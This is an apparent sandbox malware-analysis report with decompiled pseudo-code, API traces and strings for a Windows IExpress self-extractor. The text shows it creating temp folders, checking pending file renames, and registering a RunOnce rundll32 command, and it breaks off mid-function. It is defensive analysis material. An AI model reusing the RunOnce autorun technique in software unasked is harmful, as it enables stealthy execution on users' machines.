GetSystemDirectoryA.KERNEL32 ref: 011D215B
GetModuleFileNameA.KERNEL32(?,00000104,?,?,?,?,?,?,?,?,00000000,00000000), ref: 011D218C
LocalAlloc.KERNEL32(00000040,?,?,?,?,?,?,?,?,?,00000000,00000000), ref: 011D21C1
RegCloseKey.ADVAPI32(?,?,?,?,?,?,?,?,?,00000000,00000000), ref: 011D21E4
RegSetValueExA.KERNELBASE(?,wextract_cleanup0,00000000,00000001,00000000,00000002,?,?,?,?,?,?,?,?,?), ref: 011D223D
RegCloseKey.KERNELBASE(?,?,?,?,?,?,?,?,?,?,?,?,?,?,00000000,00000000), ref: 011D2249
LocalFree.KERNEL32(00000000,?,?,?,?,?,?,?,?,?,?,?,?,?,00000000,00000000), ref: 011D2250

Strings

wextract_cleanup0, xrefs: 011D20A5, 011D20BE, 011D20F0, 011D2232
Software\Microsoft\Windows\CurrentVersion\RunOnce, xrefs: 011D2082
DelNodeRunDLL32, xrefs: 011D212E
advpack.dll, xrefs: 011D2109
%s /D:%s, xrefs: 011D21FF, 011D2210
rundll32.exe %sadvpack.dll,DelNodeRunDLL32 "%s", xrefs: 011D21F6
wextract_cleanup%d, xrefs: 011D209E
C:\Users\user\AppData\Local\Temp\IXP000.TMP\, xrefs: 011D21A8, 011D2204

Memory Dump Source

Source File: 00000000.00000002.403676389.00000000011D1000.00000020.00000001.01000000.00000003.sdmp, Offset: 011D0000, based on PE: true

Associated: 00000000.00000002.403646115.00000000011D0000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.403686161.00000000011D8000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.403693552.00000000011DA000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.403693552.00000000011DC000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_11d0000_file.jbxd

Similarity

API ID: Close$DirectoryFreeLibraryLocalSystemValuememset$AddressAllocCreateFileLoadModuleNameProcQuery_vsnprintf
String ID: %s /D:%s$C:\Users\user\AppData\Local\Temp\IXP000.TMP\$DelNodeRunDLL32$Software\Microsoft\Windows\CurrentVersion\RunOnce$advpack.dll$rundll32.exe %sadvpack.dll,DelNodeRunDLL32 "%s"$wextract_cleanup%d$wextract_cleanup0
API String ID: 178549006-3765599613
Opcode ID: 27d866dad5f3b5b20713bd1aecbdfea6fd396100647785d8e9b262997c9ea10b
Instruction ID: b6b390474fb73e3e46cc1433336d886a573da4fee7235f78d6cac5bc73203f77
Opcode Fuzzy Hash: 27d866dad5f3b5b20713bd1aecbdfea6fd396100647785d8e9b262997c9ea10b
Instruction Fuzzy Hash: A951D475A02214ABDB3D9B74EC48FEB7B7CEF44700F0042A8FA65E7145DB7199858B60

Uniqueness

Uniqueness Score: -1.00%

Function 011D55A0 Relevance: 31.7, APIs: 12, Strings: 6, Instructions: 248
memorystringCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

C-Code - Quality: 92%

			E011D55A0(void* __eflags) {
				signed int _v8;
				char _v265;
				char _v268;
				void* __ebx;
				void* __edi;
				void* __esi;
				signed int _t28;
				int _t32;
				int _t33;
				int _t35;
				signed int _t36;
				signed int _t38;
				int _t40;
				int _t44;
				long _t48;
				int _t49;
				int _t50;
				signed int _t53;
				int _t54;
				int _t59;
				char _t60;
				int _t65;
				char _t66;
				int _t67;
				int _t68;
				int _t69;
				int _t70;
				int _t71;
				struct _SECURITY_ATTRIBUTES* _t72;
				int _t73;
				CHAR* _t82;
				CHAR* _t88;
				void* _t103;
				signed int _t110;

				_t28 =  *0x11d8004; // 0xdc3102d5
				_v8 = _t28 ^ _t110;
				_t2 = E011D468F("RUNPROGRAM", 0, 0) + 1; // 0x1
				_t109 = LocalAlloc(0x40, _t2);
				if(_t109 != 0) {
					_t82 = "RUNPROGRAM";
					_t32 = E011D468F(_t82, _t109, 1);
					__eflags = _t32;
					if(_t32 != 0) {
						_t33 = lstrcmpA(_t109, "<None>");
						__eflags = _t33;
						if(_t33 == 0) {
							 *0x11d9a30 = 1;
						}
						LocalFree(_t109);
						_t35 =  *0x11d8b3e; // 0x0
						__eflags = _t35;
						if(_t35 == 0) {
							__eflags =  *0x11d8a24; // 0x0
							if(__eflags != 0) {
								L46:
								_t101 = 0x7d2;
								_t36 = E011D6517(_t82, 0x7d2, 0, E011D3210, 0, 0);
								asm("sbb eax, eax");
								_t38 =  ~( ~_t36);
							} else {
								__eflags =  *0x11d9a30; // 0x0
								if(__eflags != 0) {
									goto L46;
								} else {
									_t109 = 0x11d91e4;
									_t40 = GetTempPathA(0x104, 0x11d91e4);
									__eflags = _t40;
									if(_t40 == 0) {
										L19:
										_push(_t82);
										E011D1781( &_v268, 0x104, _t82, "A:\\");
										__eflags = _v268 - 0x5a;
										if(_v268 <= 0x5a) {
											do {
												_t109 = GetDriveTypeA( &_v268);
												__eflags = _t109 - 6;
												if(_t109 == 6) {
													L22:
													_t48 = GetFileAttributesA( &_v268);
													__eflags = _t48 - 0xffffffff;
													if(_t48 != 0xffffffff) {
														goto L30;
													} else {
														goto L23;
													}
												} else {
													__eflags = _t109 - 3;
													if(_t109 != 3) {
														L23:
														__eflags = _t109 - 2;
														if(_t109 != 2) {
															L28:
															_t66 = _v268;
															goto L29;
														} else {
															_t66 = _v268;
															__eflags = _t66 - 0x41;
															if(_t66 == 0x41) {
																L29:
																_t60 = _t66 + 1;
																_v268 = _t60;
																goto L42;
															} else {
																__eflags = _t66 - 0x42;
																if(_t66 == 0x42) {
																	goto L29;
																} else {
																	_t68 = E011D6952( &_v268);
																	__eflags = _t68;
																	if(_t68 == 0) {
																		goto L28;
																	} else {
																		__eflags = _t68 - 0x19000;
																		if(_t68 >= 0x19000) {
																			L30:
																			_push(0);
																			_t103 = 3;
																			_t49 = E011D597D( &_v268, _t103, 1);
																			__eflags = _t49;
																			if(_t49 != 0) {
																				L33:
																				_t50 = E011D2630(0,  &_v268, 1);
																				__eflags = _t50;
																				if(_t50 != 0) {
																					GetWindowsDirectoryA( &_v268, 0x104);
																				}
																				_t88 =  &_v268;
																				E011D658A(_t88, 0x104, "msdownld.tmp");
																				_t53 = GetFileAttributesA( &_v268);
																				__eflags = _t53 - 0xffffffff;
																				if(_t53 != 0xffffffff) {
																					_t54 = _t53 & 0x00000010;
																					__eflags = _t54;
																				} else {
																					_t54 = CreateDirectoryA( &_v268, 0);
																				}
																				__eflags = _t54;
																				if(_t54 != 0) {
																					SetFileAttributesA( &_v268, 2);
																					_push(_t88);
																					_t109 = 0x11d91e4;
																					E011D1781(0x11d91e4, 0x104, _t88,  &_v268);
																					_t101 = 1;
																					_t59 = E011D5467(0x11d91e4, 1, 0);
																					__eflags = _t59;
																					if(_t59 != 0) {
																						goto L45;
																					} else {
																						_t60 = _v268;
																						goto L42;
																					}
																				} else {
																					_t60 = _v268 + 1;
																					_v265 = 0;
																					_v268 = _t60;
																					goto L42;
																				}
																			} else {
																				_t65 = E011D2630(0,  &_v268, 1);
																				__eflags = _t65;
																				if(_t65 != 0) {
																					goto L28;
																				} else {
																					_t67 = E011D597D( &_v268, 1, 1, 0);
																					__eflags = _t67;
																					if(_t67 == 0) {
																						goto L28;
																					} else {
																						goto L33;
																					}
																				}
																			}
																		} else {
																			goto L28;
																		}
																	}
																}
															}
														}
													} else {
														goto L22;
													}
												}
												goto L47;
												L42:
												__eflags = _t60 - 0x5a;
											} while (_t60 <= 0x5a);
										}
										goto L43;
									} else {
										_t101 = 1;
										_t69 = E011D5467(0x11d91e4, 1, 3); // executed
										__eflags = _t69;
										if(_t69 != 0) {
											goto L45;
										} else {
											_t82 = 0x11d91e4;
											_t70 = E011D2630(0, 0x11d91e4, 1);
											__eflags = _t70;
											if(_t70 != 0) {
												goto L19;
											} else {
												_t101 = 1;
												_t82 = 0x11d91e4;
												_t71 = E011D5467(0x11d91e4, 1, 1);
												__eflags = _t71;
												if(_t71 != 0) {
													goto L45;
												} else {
													do {
														goto L19;
														L43:
														GetWindowsDirectoryA( &_v268, 0x104);
														_push(4);
														_t101 = 3;
														_t82 =  &_v268;
														_t44 = E011D597D(_t82, _t101, 1);
														__eflags = _t44;
													} while (_t44 != 0);
													goto L2;
												}
											}
										}
									}
								}
							}
						} else {
							__eflags = _t35 - 0x5c;
							if(_t35 != 0x5c) {
								L10:
								_t72 = 1;
							} else {
								__eflags =  *0x11d8b3f - _t35; // 0x0
								_t72 = 0;
								if(__eflags != 0) {
									goto L10;
								}
							}
							_t101 = 0;
							_t73 = E011D5467(0x11d8b3e, 0, _t72);
							__eflags = _t73;
							if(_t73 != 0) {
								L45:
								_t38 = 1;
							} else {
								_t101 = 0x4be;
								E011D44B9(0, 0x4be, 0, 0, 0x10, 0);
								goto L2;
							}
						}
					} else {
						_t101 = 0x4b1;
						E011D44B9(0, 0x4b1, 0, 0, 0x10, 0);
						LocalFree(_t109);
						 *0x11d9124 = 0x80070714;
						goto L2;
					}
				} else {
					_t101 = 0x4b5;
					E011D44B9(0, 0x4b5, 0, 0, 0x10, 0);
					 *0x11d9124 = E011D6285();
					L2:
					_t38 = 0;
				}
				L47:
				return E011D6CE0(_t38, 0, _v8 ^ _t110, _t101, 1, _t109);
			}

0x011d55ab
0x011d55b2
0x011d55c9
0x011d55d5
0x011d55d9
0x011d5600
0x011d5605
0x011d560a
0x011d560c
0x011d5638
0x011d5641
0x011d5643
0x011d5645
0x011d5645
0x011d564c
0x011d5652
0x011d5657
0x011d5659
0x011d5696
0x011d569c
0x011d589f
0x011d58a7
0x011d58ac
0x011d58b3
0x011d58b5
0x011d56a2
0x011d56a2
0x011d56a8
0x00000000
0x011d56ae
0x011d56ae
0x011d56b9
0x011d56bf
0x011d56c1
0x011d56f3
0x011d56f3
0x011d5705
0x011d570a
0x011d5711
0x011d5717
0x011d5724
0x011d5726
0x011d5729
0x011d5730
0x011d5737
0x011d573d
0x011d5740
0x00000000
0x00000000
0x00000000
0x00000000
0x011d572b
0x011d572b
0x011d572e
0x011d5742
0x011d5742
0x011d5745
0x011d576b
0x011d576b
0x00000000
0x011d5747
0x011d5747
0x011d574d
0x011d574f
0x011d5771
0x011d5771
0x011d5773
0x00000000
0x011d5751
0x011d5751
0x011d5753
0x00000000
0x011d5755
0x011d575b
0x011d5760
0x011d5762
0x00000000
0x011d5764
0x011d5764
0x011d5769
0x011d577e
0x011d577e
0x011d5781
0x011d5788
0x011d578d
0x011d578f
0x011d57b2
0x011d57b8
0x011d57bd
0x011d57bf
0x011d57cd
0x011d57cd
0x011d57dd
0x011d57e3
0x011d57ef
0x011d57f5
0x011d57f8
0x011d580a
0x011d580a
0x011d57fa
0x011d5802
0x011d5802
0x011d580d
0x011d580f
0x011d5830
0x011d5836
0x011d583d
0x011d584b
0x011d5851
0x011d5855
0x011d585a
0x011d585c
0x00000000
0x011d585e
0x011d585e
0x00000000
0x011d585e
0x011d5811
0x011d5817
0x011d5819
0x011d581f
0x00000000
0x011d581f
0x011d5791
0x011d5797
0x011d579c
0x011d579e
0x00000000
0x011d57a0
0x011d57a9
0x011d57ae
0x011d57b0
0x00000000
0x00000000
0x00000000
0x00000000
0x011d57b0
0x011d579e
0x00000000
0x00000000
0x00000000
0x011d5769
0x011d5762
0x011d5753
0x011d574f
0x00000000
0x00000000
0x00000000
0x011d572e
0x00000000
0x011d5864
0x011d5864
0x011d5864
0x011d5717
0x00000000
0x011d56c3
0x011d56c5
0x011d56c9
0x011d56ce
0x011d56d0
0x00000000
0x011d56d6
0x011d56d6
0x011d56d8
0x011d56dd
0x011d56df
0x00000000
0x011d56e1
0x011d56e2
0x011d56e4
0x011d56e6
0x011d56eb
0x011d56ed
0x00000000
0x011d56f3
0x011d56f3
0x00000000
0x011d586c
0x011d5878
0x011d587e
0x011d5882
0x011d5883
0x011d5889
0x011d588e
0x011d588e
0x00000000
0x011d5896
0x011d56ed
0x011d56df
0x011d56d0
0x011d56c1
0x011d56a8
0x011d565b
0x011d565b
0x011d565d
0x011d5669
0x011d5669
0x011d565f
0x011d565f
0x011d5665
0x011d5667
0x00000000
0x00000000
0x011d5667
0x011d566c
0x011d5673
0x011d5678
0x011d567a
0x011d589b
0x011d589b
0x011d5680
0x011d5685
0x011d568c
0x00000000
0x011d568c
0x011d567a
0x011d560e
0x011d5613
0x011d561a
0x011d5620
0x011d5626
0x00000000
0x011d5626
0x011d55db
0x011d55e0
0x011d55e7
0x011d55f1
0x011d55f6
0x011d55f6
0x011d55f6
0x011d58b7
0x011d58c7

APIs

Part of subcall function 011D468F: FindResourceA.KERNEL32(00000000,TITLE,0000000A), ref: 011D46A0
Part of subcall function 011D468F: SizeofResource.KERNEL32(00000000,00000000,?,011D2D1A,0000007F,?,?,?,?,?,?,?,00000002,00000000), ref: 011D46A9
Part of subcall function 011D468F: FindResourceA.KERNEL32(00000000,TITLE,0000000A), ref: 011D46C3
Part of subcall function 011D468F: LoadResource.KERNEL32(00000000,00000000,?,011D2D1A,0000007F,?,?,?,?,?,?,?,00000002,00000000), ref: 011D46CC
Part of subcall function 011D468F: LockResource.KERNEL32(00000000,?,011D2D1A,0000007F,?,?,?,?,?,?,?,00000002,00000000), ref: 011D46D3
Part of subcall function 011D468F: memcpy_s.MSVCRT ref: 011D46E5
Part of subcall function 011D468F: FreeResource.KERNEL32(00000000,?,?,?,?,?,?,?,?,?,?,?,00000002,00000000), ref: 011D46EF

LocalAlloc.KERNEL32(00000040,00000001,00000000,?,00000002,00000000), ref: 011D55CF
lstrcmpA.KERNEL32(00000000,<None>,00000000), ref: 011D5638
LocalFree.KERNEL32(00000000), ref: 011D564C
LocalFree.KERNEL32(00000000,00000000,00000000,00000010,00000000,00000000), ref: 011D5620

Part of subcall function 011D44B9: LoadStringA.USER32(000004B1,?,00000200,00000000), ref: 011D4518
Part of subcall function 011D44B9: MessageBoxA.USER32(?,?,lenta,00010010), ref: 011D4554

Part of subcall function 011D6285: GetLastError.KERNEL32(011D5BBC), ref: 011D6285

GetTempPathA.KERNEL32(00000104,C:\Users\user\AppData\Local\Temp\IXP000.TMP\), ref: 011D56B9
GetDriveTypeA.KERNEL32(0000005A,?,A:\), ref: 011D571E
GetFileAttributesA.KERNEL32(0000005A,?,A:\), ref: 011D5737
GetWindowsDirectoryA.KERNEL32(0000005A,00000104,00000000,?,A:\), ref: 011D57CD
GetFileAttributesA.KERNEL32(0000005A,msdownld.tmp,00000000,?,A:\), ref: 011D57EF
CreateDirectoryA.KERNEL32(0000005A,00000000,?,A:\), ref: 011D5802

Part of subcall function 011D2630: GetWindowsDirectoryA.KERNEL32(?,00000104,00000000), ref: 011D2654

SetFileAttributesA.KERNEL32(0000005A,00000002,?,A:\), ref: 011D5830

Part of subcall function 011D6517: FindResourceA.KERNEL32(011D0000,000007D6,00000005), ref: 011D652A
Part of subcall function 011D6517: LoadResource.KERNEL32(011D0000,00000000,?,?,011D2EE8,00000000,011D19E0,00000547,0000083E,?,?,?,?,?,?,?), ref: 011D6538
Part of subcall function 011D6517: DialogBoxIndirectParamA.USER32(011D0000,00000000,00000547,011D19E0,00000000), ref: 011D6557
Part of subcall function 011D6517: FreeResource.KERNEL32(00000000,?,?,011D2EE8,00000000,011D19E0,00000547,0000083E,?,?,?,?,?,?,?,00000002), ref: 011D6560

GetWindowsDirectoryA.KERNEL32(0000005A,00000104,?,A:\), ref: 011D5878

Part of subcall function 011D597D: GetCurrentDirectoryA.KERNEL32(00000104,?,00000000,00000000), ref: 011D59A8
Part of subcall function 011D597D: SetCurrentDirectoryA.KERNELBASE(?), ref: 011D59AF

Strings

msdownld.tmp, xrefs: 011D57D3
RUNPROGRAM, xrefs: 011D55BD, 011D5600
A:\, xrefs: 011D56F4
<None>, xrefs: 011D5632
Z, xrefs: 011D570A
C:\Users\user\AppData\Local\Temp\IXP000.TMP\, xrefs: 011D56AE, 011D56B3, 011D583D

Memory Dump Source

Source File: 00000000.00000002.403676389.00000000011D1000.00000020.00000001.01000000.00000003.sdmp, Offset: 011D0000, based on PE: true

Associated: 00000000.00000002.403646115.00000000011D0000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.403686161.00000000011D8000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.403693552.00000000011DA000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.403693552.00000000011DC000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_11d0000_file.jbxd

Similarity

API ID: Resource$Directory$Free$AttributesFileFindLoadLocalWindows$Current$AllocCreateDialogDriveErrorIndirectLastLockMessageParamPathSizeofStringTempTypelstrcmpmemcpy_s
String ID: <None>$A:\$C:\Users\user\AppData\Local\Temp\IXP000.TMP\$RUNPROGRAM$Z$msdownld.tmp
API String ID: 2436801531-3855382519
Opcode ID: d54a538e5d69b61da33e4128761165da84a3c4d8673257777924fd1ce519cf0d
Instruction ID: 3cd24efe92de9e686ec701185ad634673daf242b1d233e79795f044e8470613c
Opcode Fuzzy Hash: d54a538e5d69b61da33e4128761165da84a3c4d8673257777924fd1ce519cf0d
Instruction Fuzzy Hash: C98149B1A05215AADBBDAA799C80BEA767F9F60344F4400B5E996D3180EF748DC1CB60

Uniqueness

Uniqueness Score: -1.00%

Function 011D53A1 Relevance: 15.8, APIs: 6, Strings: 3, Instructions: 71
fileCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

C-Code - Quality: 95%

			E011D53A1(CHAR* __ecx, CHAR* __edx) {
				signed int _v8;
				char _v268;
				void* __ebx;
				void* __edi;
				void* __esi;
				signed int _t5;
				long _t13;
				int _t14;
				CHAR* _t20;
				int _t29;
				int _t30;
				CHAR* _t32;
				signed int _t33;
				void* _t34;

				_t5 =  *0x11d8004; // 0xdc3102d5
				_v8 = _t5 ^ _t33;
				_t32 = __edx;
				_t20 = __ecx;
				_t29 = 0;
				while(1) {
					E011D171E( &_v268, 0x104, "IXP%03d.TMP", _t29);
					_t34 = _t34 + 0x10;
					_t29 = _t29 + 1;
					E011D1680(_t32, 0x104, _t20);
					E011D658A(_t32, 0x104,  &_v268); // executed
					RemoveDirectoryA(_t32); // executed
					_t13 = GetFileAttributesA(_t32); // executed
					if(_t13 == 0xffffffff) {
						break;
					}
					if(_t29 < 0x190) {
						continue;
					}
					L3:
					_t30 = 0;
					if(GetTempFileNameA(_t20, "IXP", 0, _t32) != 0) {
						_t30 = 1;
						DeleteFileA(_t32);
						CreateDirectoryA(_t32, 0);
					}
					L5:
					return E011D6CE0(_t30, _t20, _v8 ^ _t33, 0x104, _t30, _t32);
				}
				_t14 = CreateDirectoryA(_t32, 0); // executed
				if(_t14 == 0) {
					goto L3;
				}
				_t30 = 1;
				 *0x11d8a20 = 1;
				goto L5;
			}

0x011d53ac
0x011d53b3
0x011d53b9
0x011d53bb
0x011d53bd
0x011d53bf
0x011d53d1
0x011d53d6
0x011d53e0
0x011d53e2
0x011d53f5
0x011d53fb
0x011d5402
0x011d540b
0x00000000
0x00000000
0x011d5413
0x00000000
0x00000000
0x011d5415
0x011d5416
0x011d5427
0x011d542a
0x011d542b
0x011d5434
0x011d5434
0x011d543a
0x011d544c
0x011d544c
0x011d5452
0x011d545a
0x00000000
0x00000000
0x011d545e
0x011d545f
0x00000000

APIs

Part of subcall function 011D171E: _vsnprintf.MSVCRT ref: 011D1750

RemoveDirectoryA.KERNELBASE(?,?,C:\Users\user\AppData\Local\Temp\IXP000.TMP\,?,00000001,C:\Users\user\AppData\Local\Temp\IXP000.TMP\,00000000), ref: 011D53FB
GetFileAttributesA.KERNELBASE(?,?,00000001,C:\Users\user\AppData\Local\Temp\IXP000.TMP\,00000000), ref: 011D5402
GetTempFileNameA.KERNEL32(C:\Users\user\AppData\Local\Temp\IXP000.TMP\,IXP,00000000,?,?,00000001,C:\Users\user\AppData\Local\Temp\IXP000.TMP\,00000000), ref: 011D541F
DeleteFileA.KERNEL32(?,?,00000001,C:\Users\user\AppData\Local\Temp\IXP000.TMP\,00000000), ref: 011D542B
CreateDirectoryA.KERNEL32(?,00000000,?,00000001,C:\Users\user\AppData\Local\Temp\IXP000.TMP\,00000000), ref: 011D5434
CreateDirectoryA.KERNELBASE(?,00000000,?,00000001,C:\Users\user\AppData\Local\Temp\IXP000.TMP\,00000000), ref: 011D5452

Strings

IXP, xrefs: 011D5419
IXP%03d.TMP, xrefs: 011D53C0
C:\Users\user\AppData\Local\Temp\IXP000.TMP\, xrefs: 011D53B7, 011D53E1, 011D541E

Memory Dump Source

Source File: 00000000.00000002.403676389.00000000011D1000.00000020.00000001.01000000.00000003.sdmp, Offset: 011D0000, based on PE: true

Associated: 00000000.00000002.403646115.00000000011D0000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.403686161.00000000011D8000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.403693552.00000000011DA000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.403693552.00000000011DC000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_11d0000_file.jbxd

Similarity

API ID: DirectoryFile$Create$AttributesDeleteNameRemoveTemp_vsnprintf
String ID: C:\Users\user\AppData\Local\Temp\IXP000.TMP\$IXP$IXP%03d.TMP
API String ID: 1082909758-3862032828
Opcode ID: 95180def651107f5b7e6a41d6b8e255ec0528cf94ef709fed102b813845e96a3
Instruction ID: 9099f5f83bb7661d10fee83f32c9158d8562438af5905fdcca440c0e8941b4d9
Opcode Fuzzy Hash: 95180def651107f5b7e6a41d6b8e255ec0528cf94ef709fed102b813845e96a3
Instruction Fuzzy Hash: B211BF7170611477E72CAA26AC48FAB7A6EEFD5725F000129F66693180DF74898287A2

Uniqueness

Uniqueness Score: -1.00%

Function 011D256D Relevance: 14.1, APIs: 5, Strings: 3, Instructions: 75
registryCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

C-Code - Quality: 86%

			E011D256D(signed int __ecx) {
				int _v8;
				void* _v12;
				signed int _t13;
				signed int _t19;
				long _t24;
				void* _t26;
				int _t31;
				void* _t34;

				_push(__ecx);
				_push(__ecx);
				_t13 = __ecx & 0x0000ffff;
				_t31 = 0;
				if(_t13 == 0) {
					_t31 = E011D24E0(_t26);
				} else {
					_t34 = _t13 - 1;
					if(_t34 == 0) {
						_v8 = 0;
						if(RegOpenKeyExA(0x80000002, "System\\CurrentControlSet\\Control\\Session Manager\\FileRenameOperations", 0, 0x20019,  &_v12) != 0) {
							goto L7;
						} else {
							_t19 = RegQueryInfoKeyA(_v12, 0, 0, 0, 0, 0, 0,  &_v8, 0, 0, 0, 0);
							goto L6;
						}
						L12:
					} else {
						if(_t34 > 0 && __ecx <= 3) {
							_v8 = 0;
							_t24 = RegOpenKeyExA(0x80000002, "System\\CurrentControlSet\\Control\\Session Manager", 0, 0x20019,  &_v12); // executed
							if(_t24 == 0) {
								_t19 = RegQueryValueExA(_v12, "PendingFileRenameOperations", 0, 0, 0,  &_v8); // executed
								L6:
								asm("sbb eax, eax");
								_v8 = _v8 &  !( ~_t19);
								RegCloseKey(_v12); // executed
							}
							L7:
							_t31 = _v8;
						}
					}
				}
				return _t31;
				goto L12;
			}

0x011d2572
0x011d2573
0x011d2575
0x011d2578
0x011d257d
0x011d2627
0x011d2583
0x011d2586
0x011d2589
0x011d25eb
0x011d2607
0x00000000
0x011d2609
0x011d261a
0x00000000
0x011d261a
0x00000000
0x011d258b
0x011d258b
0x011d259e
0x011d25b2
0x011d25ba
0x011d25cb
0x011d25d1
0x011d25d6
0x011d25da
0x011d25dd
0x011d25dd
0x011d25e3
0x011d25e3
0x011d25e3
0x011d258b
0x011d2589
0x011d262f
0x00000000

APIs

RegOpenKeyExA.KERNELBASE(80000002,System\CurrentControlSet\Control\Session Manager,00000000,00020019,?,00000000,011D4096,011D4096,?,011D1ED3,00000001,00000000,?,?,011D4137,?), ref: 011D25B2
RegQueryValueExA.KERNELBASE(?,PendingFileRenameOperations,00000000,00000000,00000000,011D4096,?,011D1ED3,00000001,00000000,?,?,011D4137,?,011D4096), ref: 011D25CB
RegCloseKey.KERNELBASE(?,?,011D1ED3,00000001,00000000,?,?,011D4137,?,011D4096), ref: 011D25DD
RegOpenKeyExA.ADVAPI32(80000002,System\CurrentControlSet\Control\Session Manager\FileRenameOperations,00000000,00020019,?,00000000,011D4096,011D4096,?,011D1ED3,00000001,00000000,?,?,011D4137,?), ref: 011D25FF
RegQueryInfoKeyA.ADVAPI32(?,00000000,00000000,00000000,00000000,00000000,00000000,011D4096,00000000,00000000,00000000,00000000,?,011D1ED3,00000001,00000000), ref: 011D261A

Strings

System\CurrentControlSet\Control\Session Manager\FileRenameOperations, xrefs: 011D25F5
PendingFileRenameOperations, xrefs: 011D25C3
System\CurrentControlSet\Control\Session Manager, xrefs: 011D25A8

Memory Dump Source

Source File: 00000000.00000002.403676389.00000000011D1000.00000020.00000001.01000000.00000003.sdmp, Offset: 011D0000, based on PE: true

Associated: 00000000.00000002.403646115.00000000011D0000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.403686161.00000000011D8000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.403693552.00000000011DA000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.403693552.00000000011DC000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_11d0000_file.jbxd

Similarity

API ID: OpenQuery$CloseInfoValue
String ID: PendingFileRenameOperations$System\CurrentControlSet\Control\Session Manager$System\CurrentControlSet\Control\Session Manager\FileRenameOperations
API String ID: 2209512893-559176071
Opcode ID: 8ef94e2812f3307b9930141d6a0065e19346e1c3d18bd1bc397bb43af8240c9f
Instruction ID: 80466547b6b4c2a478834a6f11bd4ae7e0e8664f67d0bbbd3832773036d4b010
Opcode Fuzzy Hash: 8ef94e2812f3307b9930141d6a0065e19346e1c3d18bd1bc397bb43af8240c9f
Instruction Fuzzy Hash: 27118C35943238BBEB38DBA69C49DFBBE7CEF026A1F504065F929A2004D7304A44D6A0

Uniqueness

Uniqueness Score: -1.00%

Function 011D6A60 Relevance: 13.6, APIs: 9, Instructions: 138
sleepCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

C-Code - Quality: 51%

			_entry_(void* __ebx, void* __edi, void* __esi, void* __eflags) {
				signed int* _t25;
				signed int _t26;
				signed int _t29;
				int _t30;
				signed int _t37;
				signed char _t41;
				signed int _t53;
				signed int _t54;
				intOrPtr _t56;
				signed int _t58;
				signed int _t59;
				intOrPtr* _t60;
				void* _t62;
				void* _t67;
				void* _t68;

				E011D7155();
				_push(0x58);
				_push(0x11d72b8);
				E011D7208(__ebx, __edi, __esi);
				 *(_t62 - 0x20) = 0;
				GetStartupInfoW(_t62 - 0x68);
				 *((intOrPtr*)(_t62 - 4)) = 0;
				_t56 =  *((intOrPtr*)( *[fs:0x18] + 4));
				_t53 = 0;
				while(1) {
					asm("lock cmpxchg [edx], ecx");
					if(0 == 0) {
						break;
					}
					if(0 != _t56) {
						Sleep(0x3e8);
						continue;
					} else {
						_t58 = 1;
						_t53 = 1;
					}
					L7:
					_t67 =  *0x11d88b0 - _t58; // 0x2
					if(_t67 != 0) {
						__eflags =  *0x11d88b0; // 0x2
						if(__eflags != 0) {
							 *0x11d81e4 = _t58;
							goto L13;
						} else {
							 *0x11d88b0 = _t58;
							_t37 = E011D6C3F(0x11d10b8, 0x11d10c4); // executed
							__eflags = _t37;
							if(__eflags == 0) {
								goto L13;
							} else {
								 *((intOrPtr*)(_t62 - 4)) = 0xfffffffe;
								_t30 = 0xff;
							}
						}
					} else {
						_push(0x1f);
						L011D6FF4();
						L13:
						_t68 =  *0x11d88b0 - _t58; // 0x2
						if(_t68 == 0) {
							_push(0x11d10b4);
							_push(0x11d10ac);
							L011D7202();
							 *0x11d88b0 = 2;
						}
						if(_t53 == 0) {
							 *0x11d88ac = 0;
						}
						_t71 =  *0x11d88b4;
						if( *0x11d88b4 != 0 && E011D7060(_t71, 0x11d88b4) != 0) {
							_t60 =  *0x11d88b4; // 0x0
							 *0x11da288(0, 2, 0);
							 *_t60();
						}
						_t25 = __imp___acmdln; // 0x74895b9c
						_t59 =  *_t25;
						 *(_t62 - 0x1c) = _t59;
						_t54 =  *(_t62 - 0x20);
						while(1) {
							_t41 =  *_t59;
							if(_t41 > 0x20) {
								goto L32;
							}
							if(_t41 != 0) {
								if(_t54 != 0) {
									goto L32;
								} else {
									while(_t41 != 0 && _t41 <= 0x20) {
										_t59 = _t59 + 1;
										 *(_t62 - 0x1c) = _t59;
										_t41 =  *_t59;
									}
								}
							}
							__eflags =  *(_t62 - 0x3c) & 0x00000001;
							if(( *(_t62 - 0x3c) & 0x00000001) == 0) {
								_t29 = 0xa;
							} else {
								_t29 =  *(_t62 - 0x38) & 0x0000ffff;
							}
							_push(_t29);
							_t30 = E011D2BFB(0x11d0000, 0, _t59); // executed
							 *0x11d81e0 = _t30;
							__eflags =  *0x11d81f8;
							if( *0x11d81f8 == 0) {
								exit(_t30); // executed
								goto L32;
							}
							__eflags =  *0x11d81e4;
							if( *0x11d81e4 == 0) {
								__imp___cexit();
								_t30 =  *0x11d81e0; // 0x0
							}
							 *((intOrPtr*)(_t62 - 4)) = 0xfffffffe;
							goto L40;
							L32:
							__eflags = _t41 - 0x22;
							if(_t41 == 0x22) {
								__eflags = _t54;
								_t15 = _t54 == 0;
								__eflags = _t15;
								_t54 = 0 | _t15;
								 *(_t62 - 0x20) = _t54;
							}
							_t26 = _t41 & 0x000000ff;
